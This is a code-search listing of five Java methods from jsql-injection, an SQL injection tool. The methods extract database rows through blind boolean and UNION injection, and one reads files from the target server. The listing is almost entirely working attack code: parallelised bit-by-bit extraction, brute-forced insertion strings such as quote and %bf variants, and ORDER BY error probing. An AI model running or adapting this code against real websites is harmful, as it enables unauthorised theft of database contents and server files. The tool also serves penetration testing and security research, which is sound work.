Search in sources :

Example 1 with StoppedByUserSlidingException

use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.

the class SuspendableGetRows method run.

@Override
public String run(Object... args) throws JSqlException {
    String initialSQLQuery = (String) args[0];
    String[] sourcePage = (String[]) args[1];
    boolean isUsingLimit = (Boolean) args[2];
    int numberToFind = (Integer) args[3];
    AbstractElementDatabase searchName = (AbstractElementDatabase) args[4];
    ThreadUtil.put(searchName, this);
    String sqlQuery = initialSQLQuery.replaceAll("\\{limit\\}", MediatorModel.model().getVendor().instance().sqlLimit(0));
    AbstractStrategy strategy;
    // TODO Optionnal
    if (MediatorModel.model().getStrategy() != null) {
        strategy = MediatorModel.model().getStrategy().instance();
    } else {
        return "";
    }
    /*
         * As we know the expected number of rows (numberToFind), then it stops injection if all rows are found,
         * keep track of rows we have reached (limitSQLResult) and use these to skip entire rows,
         * keep track of characters we have reached (startPosition) and use these to skip characters,
         */
    StringBuilder slidingWindowAllRows = new StringBuilder();
    String partOldRow = "";
    StringBuilder slidingWindowCurrentRow = new StringBuilder();
    int sqlLimit = 0;
    int charPositionInCurrentRow = 1;
    int infiniteLoop = 0;
    while (true) {
        if (this.isSuspended()) {
            StoppedByUserSlidingException e = new StoppedByUserSlidingException();
            e.setSlidingWindowAllRows(slidingWindowAllRows.toString());
            e.setSlidingWindowCurrentRows(slidingWindowCurrentRow.toString());
            throw e;
        } else if (strategy == null) {
            // Fix #1905 : NullPointerException on injectionStrategy.inject()
            throw new InjectionFailureException("Undefined startegy");
        }
        sourcePage[0] = strategy.inject(sqlQuery, Integer.toString(charPositionInCurrentRow), this);
        /**
         * After ${LEAD} tag, gets characters between 1 and maxPerf
         * performanceQuery() gets 65536 characters or less
         * ${LEAD}blahblah1337      ] : end or limit+1
         * ${LEAD}blahblah      blah] : continue substr()
         */
        // Parse all the data we have retrieved
        Matcher regexAtLeastOneRow;
        try {
            regexAtLeastOneRow = Pattern.compile("(?s)" + LEAD + "(?i)(.{1," + strategy.getPerformanceLength() + "})").matcher(sourcePage[0]);
        } catch (PatternSyntaxException e) {
            // Fix #35382 : PatternSyntaxException null on SQLi(.{1,null})
            throw new InjectionFailureException("Row parsing failed using capacity", e);
        }
        // TODO: prevent to find the last line directly: MODE + LEAD + .* + TRAIL_RGX
        // It creates extra query which can be endless if not nullified
        Matcher regexEndOfLine = Pattern.compile("(?s)" + LEAD + "(?i)" + TRAIL_RGX).matcher(sourcePage[0]);
        if (regexEndOfLine.find() && isUsingLimit && !"".equals(slidingWindowAllRows.toString())) {
            // Update the view only if there are value to find, and if it's not the root (empty tree)
            if (numberToFind > 0 && searchName != null) {
                Request request = new Request();
                request.setMessage(Interaction.UPDATE_PROGRESS);
                request.setParameters(searchName, numberToFind);
                MediatorModel.model().sendToViews(request);
            }
            break;
        }
        /*
             * Ending condition:
             * One row could be very long, longer than the database can provide
             * TODO Need verification
             */
        if (!regexAtLeastOneRow.find() && isUsingLimit && !"".equals(slidingWindowAllRows.toString())) {
            // Update the view only if there are value to find, and if it's not the root (empty tree)
            if (numberToFind > 0 && searchName != null) {
                Request request = new Request();
                request.setMessage(Interaction.UPDATE_PROGRESS);
                request.setParameters(searchName, numberToFind);
                MediatorModel.model().sendToViews(request);
            }
            break;
        }
        // Fix #40947: OutOfMemoryError on append()
        try {
            if (partOldRow.equals(regexAtLeastOneRow.group(1))) {
                infiniteLoop++;
                if (infiniteLoop >= 20) {
                    SlidingException e = new LoopDetectedSlidingException();
                    e.setSlidingWindowAllRows(slidingWindowAllRows.toString());
                    e.setSlidingWindowCurrentRows(slidingWindowCurrentRow.toString());
                    throw e;
                }
            }
            partOldRow = regexAtLeastOneRow.group(1);
            slidingWindowCurrentRow.append(regexAtLeastOneRow.group(1));
            Request request = new Request();
            request.setMessage(Interaction.MESSAGE_CHUNK);
            request.setParameters(Pattern.compile(MODE + TRAIL_RGX + ".*").matcher(regexAtLeastOneRow.group(1)).replaceAll("").replaceAll("\\n", "\\\\\\n").replaceAll("\\r", "\\\\\\r").replaceAll("\\t", "\\\\\\t"));
            MediatorModel.model().sendToViews(request);
        } catch (IllegalStateException | OutOfMemoryError e) {
            // if it's not the root (empty tree)
            if (searchName != null) {
                Request request = new Request();
                request.setMessage(Interaction.END_PROGRESS);
                request.setParameters(searchName);
                MediatorModel.model().sendToViews(request);
            }
            StringBuilder messageError = new StringBuilder("Fetching fails: no data to parse");
            if (searchName != null) {
                messageError.append(" for " + StringUtil.detectUtf8(searchName.toString()));
            }
            if (searchName instanceof Table && searchName.getChildCount() > 0) {
                messageError.append(", if possible retry with one column selected only");
            }
            throw new InjectionFailureException(messageError.toString(), e);
        }
        /*
             * Check how many rows we have collected from the beginning of that chunk
             */
        regexAtLeastOneRow = Pattern.compile(MODE + "(" + ENCLOSE_VALUE_RGX + "([^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?)" + SEPARATOR_QTE_RGX + "([^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?)(\\x08)?" + ENCLOSE_VALUE_RGX + ")").matcher(slidingWindowCurrentRow);
        int nbCompleteLine = 0;
        while (regexAtLeastOneRow.find()) {
            nbCompleteLine++;
        }
        /*
             * Inform the view about the progression
             */
        if (isUsingLimit && numberToFind > 0 && searchName != null) {
            Request request = new Request();
            request.setMessage(Interaction.UPDATE_PROGRESS);
            request.setParameters(searchName, sqlLimit + nbCompleteLine);
            MediatorModel.model().sendToViews(request);
        }
        /* Design Pattern: State? */
        if (nbCompleteLine > 0 || slidingWindowCurrentRow.toString().matches("(?s).*" + TRAIL_RGX + ".*")) {
            /*
                 * Remove everything after our result
                 * => hhxxxxxxxxjj00hhgghh...h |-> iLQSjunk
                 */
            String currentRow = slidingWindowCurrentRow.toString();
            slidingWindowCurrentRow.setLength(0);
            slidingWindowCurrentRow.append(Pattern.compile(MODE + TRAIL_RGX + ".*").matcher(currentRow).replaceAll(""));
            slidingWindowAllRows.append(slidingWindowCurrentRow.toString());
            if (isUsingLimit) {
                /*
                     * Remove everything not properly attached to the last row:
                     * 1. very start of a new row: XXXXXhhg[ghh]$
                     * 2. very end of the last row: XXXXX[jj00]$
                     */
                String allRowsLimit = slidingWindowAllRows.toString();
                slidingWindowAllRows.setLength(0);
                slidingWindowAllRows.append(Pattern.compile(MODE + "(" + SEPARATOR_CELL_RGX + ENCLOSE_VALUE_RGX + "|" + SEPARATOR_QTE_RGX + "\\d*" + ")$").matcher(allRowsLimit).replaceAll(""));
                String currentRowLimit = slidingWindowCurrentRow.toString();
                slidingWindowCurrentRow.setLength(0);
                slidingWindowCurrentRow.append(Pattern.compile(MODE + "(" + SEPARATOR_CELL_RGX + ENCLOSE_VALUE_RGX + "|" + SEPARATOR_QTE_RGX + "\\d*" + ")$").matcher(currentRowLimit).replaceAll(""));
                /*
                     * Check either if there is more than 1 row and if there is less than 1 complete row
                     */
                regexAtLeastOneRow = Pattern.compile(MODE + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]" + ENCLOSE_VALUE_RGX + SEPARATOR_CELL_RGX + ENCLOSE_VALUE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]+?$").matcher(slidingWindowCurrentRow);
                Matcher regexRowIncomplete = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + "[^\\x01-\\x03\\x05-\\x09\\x0B-\\x0C\\x0E-\\x1F]+?$").matcher(slidingWindowCurrentRow);
                /*
                     * If there is more than 1 row, delete the last incomplete one in order to restart properly from it at the next loop,
                     * else if there is 1 row but incomplete, mark it as cut with the letter c
                     */
                if (regexAtLeastOneRow.find()) {
                    String allLine = slidingWindowAllRows.toString();
                    slidingWindowAllRows.setLength(0);
                    slidingWindowAllRows.append(Pattern.compile(MODE + ENCLOSE_VALUE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]+?$").matcher(allLine).replaceAll(""));
                } else if (regexRowIncomplete.find()) {
                    slidingWindowAllRows.append(StringUtil.hexstr("05") + "1" + StringUtil.hexstr("0804"));
                }
                /*
                     * Check how many rows we have collected from the very beginning of the query,
                     * then skip every rows we have already found via LIMIT
                     */
                regexAtLeastOneRow = /*
                         * Regex \\x{08}? not supported on Kali
                         * => \\x08? seems ok though
                         */
                Pattern.compile(MODE + "(" + ENCLOSE_VALUE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?" + SEPARATOR_QTE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?\\x08?" + ENCLOSE_VALUE_RGX + ")").matcher(slidingWindowAllRows);
                nbCompleteLine = 0;
                while (regexAtLeastOneRow.find()) {
                    nbCompleteLine++;
                }
                sqlLimit = nbCompleteLine;
                // Inform the view about the progression
                if (numberToFind > 0 && searchName != null) {
                    Request request = new Request();
                    request.setMessage(Interaction.UPDATE_PROGRESS);
                    request.setParameters(searchName, sqlLimit);
                    MediatorModel.model().sendToViews(request);
                }
                /*
                     * Ending condition: every expected rows have been retrieved.
                     * Inform the view about the progression
                     */
                if (sqlLimit == numberToFind) {
                    if (numberToFind > 0 && searchName != null) {
                        Request request = new Request();
                        request.setMessage(Interaction.UPDATE_PROGRESS);
                        request.setParameters(searchName, numberToFind);
                        MediatorModel.model().sendToViews(request);
                    }
                    break;
                }
                /*
                     *  Add the LIMIT statement to the next SQL query and reset variables.
                     *  Put the character cursor to the beginning of the line, and reset the result of the current query
                     */
                sqlQuery = Pattern.compile(MODE + "\\{limit\\}").matcher(initialSQLQuery).replaceAll(MediatorModel.model().getVendor().instance().sqlLimit(sqlLimit));
                slidingWindowCurrentRow.setLength(0);
            } else {
                // Inform the view about the progression
                if (numberToFind > 0 && searchName != null) {
                    Request request = new Request();
                    request.setMessage(Interaction.UPDATE_PROGRESS);
                    request.setParameters(searchName, numberToFind);
                    MediatorModel.model().sendToViews(request);
                }
                break;
            }
        }
        charPositionInCurrentRow = slidingWindowCurrentRow.length() + 1;
    }
    ThreadUtil.remove(searchName);
    return slidingWindowAllRows.toString();
}
Also used : Table(com.jsql.model.bean.database.Table) LoopDetectedSlidingException(com.jsql.model.exception.LoopDetectedSlidingException) Matcher(java.util.regex.Matcher) Request(com.jsql.model.bean.util.Request) AbstractElementDatabase(com.jsql.model.bean.database.AbstractElementDatabase) AbstractStrategy(com.jsql.model.injection.strategy.AbstractStrategy) SlidingException(com.jsql.model.exception.SlidingException) LoopDetectedSlidingException(com.jsql.model.exception.LoopDetectedSlidingException) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) PatternSyntaxException(java.util.regex.PatternSyntaxException)

Example 2 with StoppedByUserSlidingException

use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.

the class AbstractInjectionBoolean method inject.

/**
 * Process the whole blind injection, character by character, bit by bit.
 * @param inj SQL query
 * @param suspendable Action a user can stop
 * @return Final string: SQLiABCDEF...
 * @throws StoppedByUserSlidingException
 */
public String inject(String inj, AbstractSuspendable<String> suspendable) throws StoppedByUserSlidingException {
    /**
     *  List of the characters, each one represented by an array of 8 bits
     *  e.g SQLi: bytes[0] => 01010011:S, bytes[1] => 01010001:Q ...
     */
    List<char[]> bytes = new ArrayList<>();
    // Cursor for current character position
    int indexCharacter = 0;
    // Parallelize the URL requests
    ExecutorService taskExecutor = Executors.newFixedThreadPool(150, new ThreadFactoryCallable("CallableAbstractBlind"));
    CompletionService<T> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    // Send the first binary question: is the SQL result empty?
    taskCompletionService.submit(this.getCallable(inj, 0, IS_TESTING_LENGTH));
    // Increment the number of active tasks
    int submittedTasks = 1;
    int countAsciiCode255 = 0;
    /*
         * Process the job until there is no more active task,
         * in other word until all HTTP requests are done
         */
    while (submittedTasks > 0) {
        if (suspendable.isSuspended()) {
            taskExecutor.shutdown();
            // Await for termination
            boolean isTerminated = false;
            try {
                isTerminated = taskExecutor.awaitTermination(0, TimeUnit.SECONDS);
            } catch (InterruptedException e) {
                LOGGER.error(e.getMessage(), e);
                Thread.currentThread().interrupt();
            }
            if (!isTerminated) {
                // awaitTermination timed out, interrupt everything
                taskExecutor.shutdownNow();
            }
            // TODO Get current progress and display
            StoppedByUserSlidingException e = new StoppedByUserSlidingException();
            StringBuilder result = new StringBuilder();
            for (char[] c : bytes) {
                try {
                    int charCode = Integer.parseInt(new String(c), 2);
                    String str = Character.toString((char) charCode);
                    result.append(str);
                } catch (NumberFormatException err) {
                // Byte string not fully constructed : 0x1x010x
                // Ignore
                }
            }
            e.setSlidingWindowAllRows(result.toString());
            throw e;
        }
        try {
            // The URL call is done, bring back the finished task
            T currentCallable = taskCompletionService.take().get();
            // One task has just ended, decrease active tasks by 1
            submittedTasks--;
            /*
                 * If SQL result is not empty, then add a new unknown character,
                 * and define a new array of 8 undefined bit.
                 * Then add a new length verification, and all 8 bits
                 * requests for that new character.
                 */
            if (currentCallable.isTestingLength()) {
                if (currentCallable.isTrue()) {
                    indexCharacter++;
                    // New undefined bits of the next character
                    bytes.add(new char[] { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' });
                    // Test if it's the end of the line
                    taskCompletionService.submit(this.getCallable(inj, indexCharacter, IS_TESTING_LENGTH));
                    // Test the 8 bits for the next character, save its position and current bit for later
                    for (int bit : new int[] { 1, 2, 4, 8, 16, 32, 64, 128 }) {
                        taskCompletionService.submit(this.getCallable(inj, indexCharacter, bit));
                    }
                    // Add all 9 new tasks
                    submittedTasks += 9;
                }
            /*
                 * Process the url that has just checked a bit,
                 * Retrieve the bits for that character, and
                 * change the bit from undefined to 0 or 1
                 */
            } else {
                // The bits linked to the url
                char[] codeAsciiInBinary = bytes.get(currentCallable.getCurrentIndex() - 1);
                // Define the bit
                codeAsciiInBinary[(int) (8 - (Math.log(2) + Math.log(currentCallable.getCurrentBit())) / Math.log(2))] = currentCallable.isTrue() ? '1' : '0';
                /*
                     * Inform the View if a array of bits is complete, else nothing #Need fix
                     */
                try {
                    int codeAscii = Integer.parseInt(new String(codeAsciiInBinary), 2);
                    String charText = Character.toString((char) codeAscii);
                    if (codeAscii == 255 || codeAscii == 0) {
                        if (submittedTasks != 0 && countAsciiCode255 > 9 && (countAsciiCode255 * 100 / submittedTasks) > 50) {
                            LOGGER.warn("Boolean false positives spotted, stopping...");
                            break;
                        }
                        countAsciiCode255++;
                    }
                    Request interaction = new Request();
                    interaction.setMessage(Interaction.MESSAGE_BINARY);
                    interaction.setParameters(new String(codeAsciiInBinary) + "=" + charText.replaceAll("\\n", "\\\\\\n").replaceAll("\\r", "\\\\\\r").replaceAll("\\t", "\\\\\\t"));
                    MediatorModel.model().sendToViews(interaction);
                } catch (NumberFormatException err) {
                // Byte string not fully constructed : 0x1x010x
                // Ignore
                }
            }
        } catch (InterruptedException | ExecutionException e) {
            LOGGER.error(e.getMessage(), e);
        }
    }
    // End the job
    try {
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
    } catch (InterruptedException e) {
        LOGGER.error(e.getMessage(), e);
        Thread.currentThread().interrupt();
    }
    // Build the complete final string from array of bits
    StringBuilder result = new StringBuilder();
    for (char[] c : bytes) {
        try {
            int charCode = Integer.parseInt(new String(c), 2);
            String str = Character.toString((char) charCode);
            result.append(str);
        } catch (NumberFormatException err) {
        // In case of too much False positives
        // Byte string not fully constructed : 0x1x010x
        // Ignore
        }
    }
    return result.toString();
}
Also used : ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutionException(java.util.concurrent.ExecutionException)

Example 3 with StoppedByUserSlidingException

use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.

the class CallableFile method call.

/**
 * Read a file on the server using SQL injection.
 * Get partial result if user interrupts the process.
 */
@Override
public CallableFile call() throws Exception {
    String[] sourcePage = { "" };
    String resultToParse = "";
    try {
        resultToParse = this.suspendableReadFile.run(MediatorModel.model().getVendor().instance().sqlFileRead(this.pathFile), sourcePage, false, 1, null);
    } catch (InjectionFailureException e) {
        // Usually thrown if File does not exist
        // Ignore
        IgnoreMessageException exceptionIgnored = new IgnoreMessageException(e);
        LOGGER.trace(exceptionIgnored, exceptionIgnored);
    } catch (StoppedByUserSlidingException e) {
        // Get partial source
        if (!"".equals(e.getSlidingWindowAllRows())) {
            resultToParse = e.getSlidingWindowAllRows();
        } else if (!"".equals(e.getSlidingWindowCurrentRows())) {
            resultToParse = e.getSlidingWindowCurrentRows();
        }
        // Ignore
        IgnoreMessageException exceptionIgnored = new IgnoreMessageException(e);
        LOGGER.trace(exceptionIgnored, exceptionIgnored);
    }
    this.sourceFile = resultToParse;
    return this;
}
Also used : StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) IgnoreMessageException(com.jsql.model.exception.IgnoreMessageException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException)

Example 4 with StoppedByUserSlidingException

use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.

the class SuspendableGetCharInsertion method run.

/**
 */
@SuppressWarnings("unchecked")
@Override
public String run(Object... args) throws JSqlException {
    String characterInsertionByUser = (String) args[0];
    SimpleEntry<String, String> parameterToInject = (SimpleEntry<String, String>) args[1];
    boolean isJson = (boolean) args[2];
    // Parallelize the search and let the user stops the process if needed.
    // SQL: force a wrong ORDER BY clause with an inexistent column, order by 1337,
    // and check if a correct error message is sent back by the server:
    // Unknown column '1337' in 'order clause'
    // or   supplied argument is not a valid MySQL result resource
    ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetInsertionCharacter"));
    CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    List<String> charactersInsertion = new ArrayList<>();
    for (String prefix : new String[] { "-1", "0", "1", "" }) {
        for (String suffix : new String[] { "*", "*'", "'*'", "*\"", "\"*\"", "*%bf'", "%bf'*%bf'", "*%bf\"", "%bf\"*%bf\"" }) {
            for (String suffix2 : new String[] { "", ")", "))" }) {
                charactersInsertion.add(suffix.replace("*", prefix) + suffix2);
            }
        }
    }
    for (String insertionCharacter : charactersInsertion) {
        taskCompletionService.submit(new CallablePageSource(insertionCharacter + " " + MediatorModel.model().getVendor().instance().sqlOrderBy(), insertionCharacter));
    }
    String characterInsertion = null;
    int total = charactersInsertion.size();
    while (0 < total) {
        if (this.isSuspended()) {
            throw new StoppedByUserSlidingException();
        }
        try {
            CallablePageSource currentCallable = taskCompletionService.take().get();
            total--;
            String pageSource = currentCallable.getContent();
            if (// the correct character: mysql
            Pattern.compile(".*Unknown column '1337' in 'order clause'.*", Pattern.DOTALL).matcher(pageSource).matches() || Pattern.compile(".*supplied argument is not a valid MySQL result resource.*", Pattern.DOTALL).matcher(pageSource).matches() || // the correct character: postgresql
            Pattern.compile(".*ORDER BY position 1337 is not in select list.*", Pattern.DOTALL).matcher(pageSource).matches()) {
                characterInsertion = currentCallable.getInsertionCharacter();
                break;
            }
        } catch (InterruptedException | ExecutionException e) {
            LOGGER.error("Interruption while defining character injection", e);
        }
    }
    if (characterInsertion == null) {
        if ("".equals(characterInsertionByUser) || characterInsertionByUser == null || "*".equals(characterInsertionByUser)) {
            characterInsertion = "1";
        } else {
            characterInsertion = characterInsertionByUser;
        }
        LOGGER.warn("No character insertion activates ORDER BY error, forcing to [" + characterInsertion.replace(InjectionModel.STAR, "") + "]");
    } else if (!characterInsertionByUser.replace(InjectionModel.STAR, "").equals(characterInsertion)) {
        String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, "");
        LOGGER.debug("Found character insertion [" + characterInsertion + "] in place of [" + characterInsertionByUserFormat + "] to detect error on ORDER BY");
        LOGGER.trace("Add manually the character * like [" + characterInsertionByUserFormat + "*] to force the value [" + characterInsertionByUserFormat + "]");
    }
    if (!isJson) {
        characterInsertion = characterInsertion.replace(InjectionModel.STAR, "") + InjectionModel.STAR;
    }
    parameterToInject.setValue(characterInsertion);
    // TODO optional
    return characterInsertion;
}
Also used : SimpleEntry(java.util.AbstractMap.SimpleEntry) ArrayList(java.util.ArrayList) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) CallablePageSource(com.jsql.model.suspendable.callable.CallablePageSource) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutionException(java.util.concurrent.ExecutionException)

Example 5 with StoppedByUserSlidingException

use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.

the class SuspendableGetIndexes method run.

/**
 */
@Override
public String run(Object... args) throws JSqlException {
    // Parallelize the search
    ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetIndexes"));
    CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    boolean isRequestFound = false;
    String initialQuery = "";
    int nbIndex;
    // pages that display our own url in the source
    for (nbIndex = 1; nbIndex <= 10; nbIndex++) {
        taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
    }
    try {
        // Start from 10 to 100 requests
        while (!isRequestFound && nbIndex <= 100) {
            if (this.isSuspended()) {
                throw new StoppedByUserSlidingException();
            }
            CallablePageSource currentCallable = taskCompletionService.take().get();
            // Found a correct mark 1337[index]7331 in the source
            if (Pattern.compile("(?s).*1337\\d+7331.*").matcher(currentCallable.getContent()).matches()) {
                MediatorModel.model().setSrcSuccess(currentCallable.getContent());
                initialQuery = currentCallable.getUrl().replaceAll("0%2b1", "1");
                isRequestFound = true;
            } else {
                // Else add a new index
                taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
                nbIndex++;
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
    } catch (InterruptedException | ExecutionException e) {
        LOGGER.error("Interruption while determining injection indexes", e);
    }
    if (isRequestFound) {
        return initialQuery.replaceAll("\\+\\+union\\+select\\+.*?--\\+$", "+");
    }
    // TODO optional
    return "";
}
Also used : ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) CallablePageSource(com.jsql.model.suspendable.callable.CallablePageSource) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutionException(java.util.concurrent.ExecutionException)

Aggregations

StoppedByUserSlidingException (com.jsql.model.exception.StoppedByUserSlidingException)6 ThreadFactoryCallable (com.jsql.model.suspendable.callable.ThreadFactoryCallable)4 ExecutionException (java.util.concurrent.ExecutionException)4 ExecutorCompletionService (java.util.concurrent.ExecutorCompletionService)4 ExecutorService (java.util.concurrent.ExecutorService)4 Request (com.jsql.model.bean.util.Request)3 CallablePageSource (com.jsql.model.suspendable.callable.CallablePageSource)3 InjectionFailureException (com.jsql.model.exception.InjectionFailureException)2 ArrayList (java.util.ArrayList)2 AbstractElementDatabase (com.jsql.model.bean.database.AbstractElementDatabase)1 Table (com.jsql.model.bean.database.Table)1 Header (com.jsql.model.bean.util.Header)1 IgnoreMessageException (com.jsql.model.exception.IgnoreMessageException)1 LoopDetectedSlidingException (com.jsql.model.exception.LoopDetectedSlidingException)1 SlidingException (com.jsql.model.exception.SlidingException)1 AbstractStrategy (com.jsql.model.injection.strategy.AbstractStrategy)1 Vendor (com.jsql.model.injection.vendor.Vendor)1 SimpleEntry (java.util.AbstractMap.SimpleEntry)1 EnumMap (java.util.EnumMap)1 Matcher (java.util.regex.Matcher)1